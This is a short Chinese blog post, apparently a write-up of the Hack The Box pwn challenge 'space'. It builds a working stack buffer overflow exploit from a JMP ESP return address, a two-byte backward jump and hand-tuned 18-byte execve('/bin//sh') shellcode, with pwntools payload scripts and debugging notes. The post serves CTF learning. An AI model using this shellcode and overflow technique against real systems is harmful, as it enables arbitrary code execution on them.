htb space题

2021-06-01  本文已影响0人  clive0x

只能overflow 30个字节,栈空间如图。

RET里填 JMP ESP,后面再填写一个short jmp ,往后跳转。

看了这遍文章才知道怎么写短跳转:

https://www.ins1gn1a.com/exploiting-minimal-buffer-overflows-with-an-egghunter/

https://thestarman.pcministry.com/asm/2bytejumps.htm

一直在纠结怎么往后跳转,看了jmp/call/pop,30个字节还是用不上啊。

想用jmp [esp-xxx],程序代码有限指令很难找到适合的esp-xxx。

往后jmp偏移为22 + len(short jmp)=22+2 = 24,

短jmp 最终代码为EB E8

跳转表如下

https://i2.wp.com/vellosec.net/wp-content/uploads/2018/08/2byte_cheatsheet_vellosec.jpg(已不能访问)

https://thestarman.pcministry.com/asm/2bytejumps.htm

最终跳转到了指定shellcode,18字节的shellcode执行居然不成功

shellcode = b'\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

    jmp_backwards=b'\xeb\xe8\x00\x00'

    p=gdb.debug(elf.path,gdbscript='''

    set disassembly-flavor intel

    b *&main

    b *&vuln

    c

    ''')

    payload=shellcode + p32(0x0804919f) + jmp_backwards

网上能找到最短的shellcode(x86 18bytes)
https://www.exploit-db.com/exploits/44321

18 bytes shellcode执行失败是因为 shellcode把/bin/sh push到栈上时(8个字节),从上图中的ESP所指位置,写到了ebp位置,改写了shellcode最后四个字节。payload还得在short jmp backwards前,加pop |ret指令,使esp往上走至少4个字节,扩展栈空间,用于shellcode代码 push /bin//sh。

对stack修正后,可以跳入shellcode,18字节的shellcode还是执行不成功。跟本机环境相关,本机环境ebx指向addr of (/bin//sh),ecx=0,edx=1,问题就出在edx,取envp[1]时,内容为\t\x89\x5e\x85,为非法指针,需要把edx也设置为0,18 bytes shellcode几乎不太可能了,重新修改payload

#pop esi ;pop esi; push ecx ;nop;push //sh;push /bin

    shellcode = b'\x5e\x5e\x51\x90\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

    jmp_esp = 0x0804919f 

    # xor ecx,ecx;mul ecx;movb al ,0xb

    init_reg=b'\x31\xc9\xf7\xe1\xb0\x0b'

    jmp_backwards = b'\xeb\xe2'

    p=process(elf.path,cwd='/root/hackthebox/pwn')

    payload = shellcode + p32(jmp_esp) + init_reg + jmp_backwards

    # payload=flat({eif_offset:read_plt},space_bss,0,space_bss,shellcode_len)

    p.sendlineafter("> ", payload)

上一篇 下一篇

猜你喜欢

热点阅读